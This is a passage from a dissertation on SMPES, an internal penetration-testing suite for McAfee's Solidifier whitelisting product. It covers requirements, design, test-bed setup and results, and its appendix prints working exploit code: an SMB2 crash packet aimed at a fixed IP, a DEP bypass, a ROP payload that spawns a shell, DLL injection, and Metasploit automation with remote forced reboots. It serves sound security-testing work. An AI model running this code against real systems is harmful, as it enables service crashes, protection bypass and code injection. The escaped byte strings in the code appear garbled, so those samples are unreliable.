  • 23. 17 4. SMPES DEVELOPMENT Solidcore Memory Exploitation Suite (SMPES) was developed with remote attack capability incorporated in it. The exploits are blocked and events will be generated by the product which will be captured and exploit cleanup will be done. A comprehensive report will be created at the end. This suite and exploit samples will come under intellectual property of McAfee because of confidential information and internal working of product. The intended beneficiaries of this project will be the QA and security research and development teams of the organization. 4.1 REQUIREMENTS Before starting the development, inputs were taken from different teams as what to include into the suite and what should be the expectations of suite. This involves understanding technical and functional requirements of application after understanding the product’s functionality and its limitations. After carefully studying the functionality of Solidifier product, following requirements were considered for suite development. (a) Capability of local and remote attacks (b) Specifying attacks using IP address & parameters like OS, Architecture etc. (c) Perform a basic security effectiveness testing using publicly available exploit samples (d) Exploitation using samples obtained by customer issues (e) Create and include exploit sample files for exercising memory protection features (f) Attacking product using drive by download, Fake AV and browser exploit packs. (g) Using Metasploit CLI for attacks on targets. (h) Logging capability, capturing events on remote machines (i) Exploit cleanup and remote reboot of machine (j) Mailing report to stakeholders with results of exploitation. On the basis of above mentioned functional requirements, following are the technical needs & specifications. (a) Creating files using Metasploit for Application specific exploit PoC and chosen payload. (b) Automation of Metasploit CLI for attack on target systems (c) Test samples to be created for exercising various memory protection features (d) Using apache mini HTTP server to create drive by download and browser exploit pack host (attacking machine) (e) Automation of installation and un-installation of vulnerable applications for exploitation (f) Scripting of automatic URL crawl and opening Application specific files. These requirements are analyzed for feasibility study and further research is done to perform the tasks mentioned above. Alternative mechanisms of attack were also taken into consideration depending on the pros and cons.
  • 24. 18 The suite should have the capability to remotely trigger attacks from single machine, to bypass white listing, DEP, ASLR, etc. and efficient reporting and logging functionalities. It should perform end to end security testing of Solidifier product. 4.2 DESIGN Before starting the development, inputs were taken from different teams as what to include into the suite and what should be the expectations of suite. This involves understanding technical and functional requirements of application after understanding the product’s functionality and its limitations. The design of SMPES is explained via following figure which describes phases of a typical SMPES attack. (Design chart for SMPES) 1. START attack: This phase triggers execution of SMPES suite by running the application. It is the first stage where CLI interface of SMPES is shown. 2. Configuration: The various parameters like OS, Architecture, IP address, IP address list, local/remote type of attack are prompted for input by user which saves this information into a configuration file.
  • 25. 19 3. Loading Exploit List: The configuration file is read by the application and exploits specific to the targets are loaded. Only those exploits will be executed as it is a targeted penetration testing framework. 4. Attack: The modes are identified on target machines and then exploits are executed on them. After exploitation the payloads are executed and events generated & collected. 5. Cleanup: The cleanup process removes all the temporary files for execution, closes all exploit sessions, payloads and restarts the target machines for cleanup. Some exploits kill services like svschost.exe which needs reboot so that target machine can work properly. 6. Reporting and Debug Logs Debug logs are created for actions of SMPES suite. Reports are created for exploitation and email is sent to stakeholders for notification of results. SMPES MODULES The SMPES framework consists of following modules: 1. CLI console: The command line interface is the main face of the framework in which pen tester would provide the parameters and inputs required for attack. 2. Basic security check & whitelist bypass This will test solidifier for basic security effectiveness and will run samples to bypass whitelisting. 3. Brute Forcer It will brute force the solidcore password using dictionary attack. 4. Cryptanalysis tool This will try to decrypt the hash of password using cryptanalysis. 5. Metasploit Executor The exploits which require metasploit framework are also clubbed inside a separate module called as “Metasploit Executor”. It uses ruby and python to run exploits. 6. Event Capture Another module captures the “Application Events” generated on the target machine when exploit is blocked. 7. Reporter Reporter creates a report in XLS (Excel Spreadsheet) format. It lists the columns and rows indicating exploit names, payloads, whether machine was exploited or exploit executed.
  • 26. 20 8. CLI fuzzer CLI fuzzing tool is also incorporated so that CLI fuzzing can find if any issues while supplying random input on command line interface of solidifier console. 9. Cleaner & Reboot This module cleans up the target machine if any windows service is crashed by rebooting. The service is crashed by improper exploit cleanup. When an exception is caused, it is not handled properly by an exploit and it crashes associated service. 4.3 DEVELOPMENT CYCLE SMPES development has been divided into following milestones: 1. Requirements Gathering All the requirements have been frozen after discussion with stakeholders. The regular feedback has been incorporated into the suite development. A research oriented study was done to understand basics of security, attacks & exploitation. 2. ALPHA phase This phase involves creation of test samples for various attacks. These samples can be then manually tested against “Solidifier” product and bugs are reported if any found. The basic functionality of tool would also include creation of a simple command line interface which would provide user flexibility to launch attack from single endpoint & single screen. 3. BETA phase The Beta phase comprises of inclusion of exploit samples into the suite and development of CLI interfaces to launch the attacks. The suite will be designed as per local or remote attack functionality. Documentation will also be created to provide usage information. The logging and reporting functionality will also be developed in this phase. 4. Release Candidate The RC build of suite will contain the failure handling approach. It will then be distributed to internal teams for testing and feedback will be obtained if any changes are required. 5. Green Milestone This phase will be final stage of suite development. The documentation will be refines and user guide will be provided. The final build of suite, configuration files will be packaged into an installer and provided to teams for usage in their QA & security test cycles.
  • 27. 21 5. EXECUTION, RESULTS & ANALYSIS After completion of implementation phase of SMPES, we proceed with the execution phase or sample run where the complete framework is executed against a set of target machines. The execution would take around 1 hour to complete. 5.1 TEST-BED SETUP Before running the framework, first some test environment needs to be setup. The test-bed would require following setup and pre-requisites. 1. Target Machines The victim machines must be windows based systems only as memory protection is limited to windows platform. The target machines must be installed with following installable. (a) Adobe PDF reader (vulnerable version) This must be installed so that Adobe PDF based exploits can run on the system and trigger exploitation. (b) Solidifier The solidifier product must be installed, enabled with MAC license. Memory protection features must be enabled in solidifier. (c) Group policy setting Change the group policy setting as follows: Open group policy editor (gpedit.msc) > Computer Configuration > Windows settings > Local policies >Security options. Change the setting for policy “Network access: Sharing and security model for local accounts” to value “Classic – local users authenticate as themselves” (d) Connectivity The target machines should be live on network and should be accessible from attacking host. (e) Turn off security mechanisms Disable firewall, Windows Defender, UAC, Anti-Viruses from the target machine. The Autologon registry must be enabled so that systems logon to desktop automatically after reboot. 2. Host (Attacking machine) This machine is hosted with SMPES framework and requires following setups for execution. (a) Windows only machine (b) Turn off security mechanisms as mentioned for target machines (c) Install Metasploit framework 4.x (bundled with python & ruby interpreters) (d) Install Perl (e) Copy SMPES framework on host machine (f) Host machine must be live on network and should be able to access target machines remotely.
  • 28. 22 5.2 EXECUTION After the framework test bed setup is complete, SMPES execution is triggered which will run all tests against the target machines. 1. Configuration The parameters that SMPES asks for gives the user flexibility to execute attacks for specific or multiple machines with specific architecture or attack type. (CLI of SMPES) 2. Building Exploit List SMPES framework will build list of exploits and then run them against target machines. Following snapshot shows the report where list of exploits were executed and results are populated in the sheet. (List of exploits)
  • 29. 23 3. Basic Security Effectiveness testing This test will verify the protection level of conventional desktop protection applications. The majority of the test suite depends on executable files to initiate further actions on the endpoint. as the machine was solidified we did expect all of the tests to pass. 4. Debug Logs The following figure will display the debug logging while execution of SMPES framework.
  • 30. 24
  • 31. 25 6 CONCLUSION This dissertation work focuses on creation of a penetration testing suite that is used for targeted security testing. It was primarily aimed for security testing cycle on product Solidifier but because of exploit coverage and remarkable features it is also being adopted by other product teams in McAfee. There has been a continuous increase in number of attacks which are becoming sophisticated day by day, due to which penetration testing toolkits are being used to discover security related issues in products before they reach market. Before developing a security test suite, it was ensured that it extends the capability and removes limitation of existing pen test frameworks. The research work was done at McAfee India Gurgaon campus by understanding various security concepts like buffer overflows, DEP, SHE, SEHOP, Return oriented programming, ASLR etc. Findings Inputs from various teams made this suite feature rich and this dissertation investigated the security effectiveness of products. After running this suite the security testing of product was automated completely and a large number of bugs were also reported in current release. The open issues were then fixed and again fix was verified by executing the suite. The accuracy of suite was also found to be very good. There was not a single instance when major issues were encountered with suite execution after following steps mentioned in test bed setups. These findings suggest that this suite not only provides pen tester flexibility to run security verification using available exploits (open source pen test frameworks) but also by incorporating custom exploit samples created in-house. Limitations The limitations of this dissertation project work were that research amount takes a considerable amount of time. Exploits could only be created by understanding security concepts and writing shell codes. Another implication is that since white listing bypasses most of the unauthorized binaries, therefore project was limited to exisiting vulnerabilities instead of finding a new zero day vulnerability. Some of the kernel level exploits were not included because Solidifier product doesn’t prevent kernel level attacks. Recommendations This suite was used across different teams in the company and then it was recommended by engineering heads as regular in house security testing toolkit. This dissertation work not only improved understanding of security concepts but also created a toolkit which was beneficial for both Dev and QA teams within the company.
  • 32. 26 APPENDIX This section contains the code snippets for some exploit codes and SMPES framework modules. (Exploit code for SMB2 vulnerability) #!/usr/bin/python #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket from time import sleep host = "172.25.197.157", 445 buff = ( "x00x00x00x90" # Begin SMB header: Session message "xffx53x4dx42" # Server Component: SMB "x72x00x00x00" # Negociate Protocol "x00x18x53xc8" # Operation 0x18 & sub 0xc853 "x00x26"# Process ID High: --> :) normal value should be "x00x00" "x00x00x00x00x00x00x00x00x00x00xffxffxffxfe" "x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54" "x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31" "x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00" "x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57" "x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61" "x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c" "x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c" "x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e" "x30x30x32x00" ) s = socket() s.connect(host) s.send(buff) s.close() (Exploit code to bypass DEP by SetProcessDEPPolicy()) #include <windows.h> #include <stdlib.h> void useSetProcessDEPPolicy() { char buf[4]; /* Overflow the string buffer and EBP register. */ strcpy(buf, "AAAABBBB"); /* SetProcessDEPPolicy() API has been added to Windows Vista SP1, Windows XP SP3 and Windows Server 2008 and can be abused by an attacker while exploiting a buffer overflow vulnerability to disable hardware-enforced DEP (NX/XD bit) for the running process.
  • 33. 27 Overwrite EIP with the address of SetProcessDepPolicy() API, which is 0x7c8622a4 on a Windows XP SP3 English 32bit system updated on December 9, 2009. NOTE: You might need to adapt it depending on your system patch level. */ memcpy(buf+8, "xa4x22x86x7c", 4); /* Return address of SetProcessDepPolicy(). Use an address of a JMP ESP instruction in kernel32.dll to jump to our shellcode on the top of the stack. NOTE: You might need to adapt it depending on your system patch level. */ memcpy(buf+12, "x13x44x87x7c", 4); /* Argument for SetProcessDepPolicy(). 0x00000000 turn off DEP for this process. */ memcpy(buf+16, "x00x00x00x00", 4); /* The shellcode to be executed after DEP has been disabled. For instance, a breakpoint (INT 3 instruction) to call the debug exception handler which will pause the process. */ memcpy(buf+20, "xcc", 1); } int main() { useSetProcessDEPPolicy(); return 0; } (Return oriented Exploitation) Vulnerable program code: #include <string.h> #include <stdlib.h> #include <stdio.h> int func(char *msg) { char buf[80]; strcpy(buf,msg); buf[0] = toupper(buf[0]); strcpy(msg,buf); printf(“Caps: %sn“,msg); exit(1); } int main(int argv, char** argc) { func(argc[1]); } Exploit code in perl:
  • 34. 28 print “xa2x85x04x08″ . # First Gadget “AAAAAAAA” . # dummy “xe8xa2x04x08″ . # set ebp, poing to line 9 of this exploit string “x8cx83x04x08″ . # Second gadget “xc0x52xfcxff” .“x14xa0x8ex13AAAA” . “/bin/sh;” . “A”x48 . “x10xa0x04x08″ . # GOT entry address of printf “x30xa0x04x08″x0xa0 . # dummy “xcex85x04x08″ . “x30xa0x04x08″x0x2 . # dummy “x30xa0x04x08″ . # dummy ebp “xafx84x04x08″ . # call *%eax “x30xa0x04x08″; (DLL Injection code) #include <windows.h> #include <tlhelp32.h> #include <shlwapi.h> #include <conio.h> #include <stdio.h> //Lets Just Define Some Variables #define WIN32_LEAN_AND_MEAN #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ //Lets declare our function BOOL CreateRemoteThreadInject(DWORD ID, const char * dll); //Let declare GetProcessId DWORD GetProcessId(IN PCHAR szExeName); //Our Application Starts Here. int main() { //Declare our dll variable char dll[MAX_PATH]; //Get the full path of our .dll GetFullPathName("Tutorial.dll",MAX_PATH,dll,NULL); //We will be using this neat little function written by batfitch - GetProcessId. DWORD ID = GetProcessId("notepad.exe"); if (!CreateRemoteThreadInject(ID,dll)) { //If CreateRemoteThreadInject Returned true printf("Injection failed!"); Sleep(3000); exit(1);
  • 35. 29 } else { //If CreateRemoteThreadInject Returned true printf("Injection Successful!"); Sleep(3000); exit(1); } } //Function written by batfitch DWORD GetProcessId(IN PCHAR szExeName) { DWORD dwRet = 0; DWORD dwCount = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 pe = {0}; pe.dwSize = sizeof(PROCESSENTRY32); BOOL bRet = Process32First(hSnapshot, &pe); while (bRet) { if (!_stricmp(pe.szExeFile, szExeName)) { dwCount++; dwRet = pe.th32ProcessID; } bRet = Process32Next(hSnapshot, &pe); } if (dwCount > 1) dwRet = 0xFFFFFFFF; CloseHandle(hSnapshot); } return dwRet; } //We will be writing our own little function called CreateRemoteThreadInject BOOL CreateRemoteThreadInject(DWORD ID, const char * dll) { //Declare the handle of the process. HANDLE Process;
  • 36. 30 //Declare the memory we will be allocating LPVOID Memory; //Declare LoadLibrary LPVOID LoadLibrary; LPDWORD thread; //If there's no process ID we return false. if(!ID) { return false; } //Open the process with read , write and execute priviledges Process = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM _READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, ID); //Get the address of LoadLibraryA LoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Allocate space in the process for our DLL Memory = (LPVOID)VirtualAllocEx(Process, NULL, strlen(dll)+1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // Write the string name of our DLL in the memory allocated WriteProcessMemory(Process, (LPVOID)Memory, dll, strlen(dll)+1, NULL); // Load our DLL CreateRemoteThread(Process, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibrary, (LPVOID)Memory, NULL, thread); Sleep(2000); //Let the program regain control of itself CloseHandle(Process); //Terminate The Thread TerminateThread(thread , NULL); //Free the allocated memory VirtualFreeEx(Process , (LPVOID)Memory , 0, MEM_RELEASE); return true; } (SMPES code snippets ###################################################### # This will read the System logs from EventViewer of # Remote Machine ###################################################### sub getSystemEventLogs(){ my ($machineName,$fileName) = @_;
  • 37. 31 &addInLog("In getSystemEventLogs : machine name ---> $machineNamen"); my $handle=Win32::EventLog->new("Application",$machineName) or die &addInLog("In getSystemEventLogs: Can't open Application EventLogn"); &addInLog("In getSystemEventLogs: Handle --> $handlen"); $handle->GetNumber($recs) or die &addInLog("In getSystemEventLogs: Can't get number of EventLog recordsn"); &addInLog("In getSystemEventLogs: Number of logs --> $recsn"); $handle->GetOldest($base) or die &addInLog("In getSystemEventLogs: Can't get number of oldest EventLog recordn"); &addInLog("In getSystemEventLogs: base ---> $basen"); if (open(FP,">$fileName")){ #Do nothing }else{ &addInLog("In getSystemEventLogs: Failed to open $fileName n"); return; } my $x = $EVT_OFFSET; &addInLog("In getSystemEventLogs: OFFSET ---> $xn"); while ($x < $recs) { # print "x--> $xn"; my $seed = $base + $x - 1; &addInLog("In getSystemEventLogs: seed ---> $seedn"); $handle->Read(EVENTLOG_FORWARDS_READ|EVENTLOG_SEEK_READ, $base + $x - 1,$hashRef) or die "Can't read EventLog entry #$xn"; if ((trim($hashRef->{Source}) =~ /System Solidifier/) || (trim($hashRef->{EventType}) eq 1)){ print FP "<START>"; my $comp_name = trim($hashRef->{Computer}); print FP $comp_name; print FP " @@@ "; my $comp_src = trim($hashRef->{Source}); print FP $comp_src; print FP " @@@ "; my $msg = trim($hashRef->{Message}); print FP $msg; print FP " @@@ "; my $str = trim($hashRef->{Strings}); print FP $str; print FP " @@@ "; my $data = trim($hashRef->{Data}); print FP $data; print FP " @@@ "; my $evt_type = trim($hashRef->{EventType}); switch($evt_type){ case 1{ $evt_type = "ERROR"; } case 2{ $evt_type = "WARNING"; } case 3{ $evt_type = "INFORMATION"; } case 4{
  • 38. 32 $evt_type = "AUDIT_SUCCESS"; } case 5{ $evt_type = "AUDIT_FAILURE"; } } print FP $evt_type; print FP " @@@ "; my $catagory = trim($hashRef->{Catagory}); print FP $catagory; print FP " @@@ "; my $RecordNumber = trim($hashRef->{RecordNumber}); print FP $RecordNumber; print FP " @@@ "; my $TimeGenerated = trim($hashRef->{TimeGenerated}); print FP scalar(gmtime($TimeGenerated)); print FP " @@@ "; print FP trim($hashRef->{EventID}); print FP "<END>n"; #sleep(1); } $x++; } $EVT_OFFSET = $x; close FP; if (open (FP,$fileName)){ my @list = <FP>; close FP; if ($EVT_FILE_LOG_STAT eq 0){ if (open (FP,">EVENT_RESULT")){ print FP "### $TEST_SNOn"; foreach(@list){ print FP "$_n"; } print FP "n"; close FP; $EVT_FILE_LOG_STAT = 1; } } else { if (open (FP,">>EVENT_RESULT")){ print FP "### $TEST_SNOn"; foreach(@list){ print FP "$_n"; } print FP "n"; close FP; } } } } ###################################################### # Main handler function for Exploit ###################################################### sub expHandler(){
  • 39. 33 my ($cmd_detail,$evt_str,$output_str,$evt_match_stat,$out_match_stat) = @_; $TEST_SNO++; &addInLog("n##########################Test ID : $TEST_SNOn"); &addInLog("In expHandler : ($cmd_detail,$evt_str,$output_str,$evt_match_stat,$out_match_stat)n"); my $cmd_str = trim($CONFIG{"EXPLOIT_EXE"}); $cmd_str .= " "; $cmd_str .= trim($CONFIG{"METAEXP_PATH"}); $cmd_str .= "msfcli"; $cmd_str .= " $cmd_detail"; &addInLog("In expHandler : cmd ---> $cmd_strn"); $retcode = &execExploit(trim($cmd_str)); my $rhost=trim($CONFIG{"RHOST"}); &verifyResult($rhost,$evt_str,$output_str,$evt_match_stat,$out_match_stat); &addInLog("------------------------------------------------n"); } ###################################################### # Executes the exploit an redirects output to a file ###################################################### sub execExploit(){ my ($cmd) = @_; &addInLog("In execExploit : about to execute $cmdn"); #my $ret = &systemAssertExitCode("$cmd"); open STDOUT, '>', $OUTPUTFILE or die "Can't redirect STDOUT: $!"; #open STDERR, '>', "error" or die "Can't dup STDERR: $!"; my $exe_path = trim($CONFIG{"EXE_PATH"}); my $exe_time = trim($CONFIG{"EXEC_TIME"}); &addInLog("In execExploit : (exe_path,exe_time)->($exe_path,$exe_time) n"); Win32::Process::Create($ProcessObj,"C:Program FilesMetasploitFramework3binruby.exe", "$cmd",0,NORMAL_PRIORITY_CLASS,".")|| die addInLog(ErrorReport()); $ProcessObj->Wait($exe_time); $ProcessObj->Kill(0); close STDOUT; } ###################################################### # Verify the output of the exploit ###################################################### sub verifyResult(){ my ($rhost,$evt_str,$output_str,$evt_match_stat,$out_match_stat) = @_; &addInLog("In verifyResult : ($rhost,$evt_str,$output_str,$evt_match_stat,$out_match_stat)n"); my $stage = 0; my $evt_match_rc = 0; if (open (FP,$OUTPUTFILE)){ my @lines = <FP>; close FP; if ($OUTPUT_STAT eq 0){ if (open (FP,">OUTPUT_RESULT")){ print FP "#### $TEST_SNOn"; foreach(@lines){ print FP "$_n"; } print FP "n";
  • 40. 34 close FP; $OUTPUT_STAT = 1; } } else{ if (open (FP,">>OUTPUT_RESULT")){ print FP "#### $TEST_SNOn"; foreach(@lines){ print FP "$_n"; } print FP "n"; close FP; } } $retcode = &verify($OUTPUTFILE,$output_str); $$out_match_stat = $retcode; my $stat_evt = 1; if (($retcode eq 0) || $stat_evt eq 1){ &addInLog("In verifyResult : Going to shutdown $rhostn"); my $rc = &systemAssertExitCode("shutdown -r -f -t 0 -m $rhost"); if ($rc eq 0){ &addInLog("In verifyResult : Shutdown success Sleeping for : [200 sec]n"); print ("shutting down system"); sleep(200); } else{ &addInLog("In verifyResult : Shutdown failed : [$rc]n"); } } else{ &addInLog("In verifyResult : Exploit didn't execute properlyn"); } &getSystemEventLogs($rhost,"temp"); $evt_match_rc = &verify("temp",$evt_str); $$evt_match_stat = $evt_match_rc; &addInLog("In verifyResult : Match Status = $evt_match_rcn"); } else{ &addInLog("In verifyResult : Failed to open $OUTPUTFILEn"); } }
  • 41. 35 7. REFERENCES 1. Exploitation-itsec-catalog- References to vulnerability exploitation stuff http://code.google.com/p/it-sec-catalog/wiki/Exploitation 2. Jim Beechey, “Application White listing: Panacea or Propaganda”- December 2010, SANS Reading Room 3. Exploit writing articles: Corelan Team: https://www.corelan.be/index.php/articles/ 4. Shon Harris, “Windows Exploits, Grey Hat Hacking- An ethical hackers’ handbook”, 3rd edition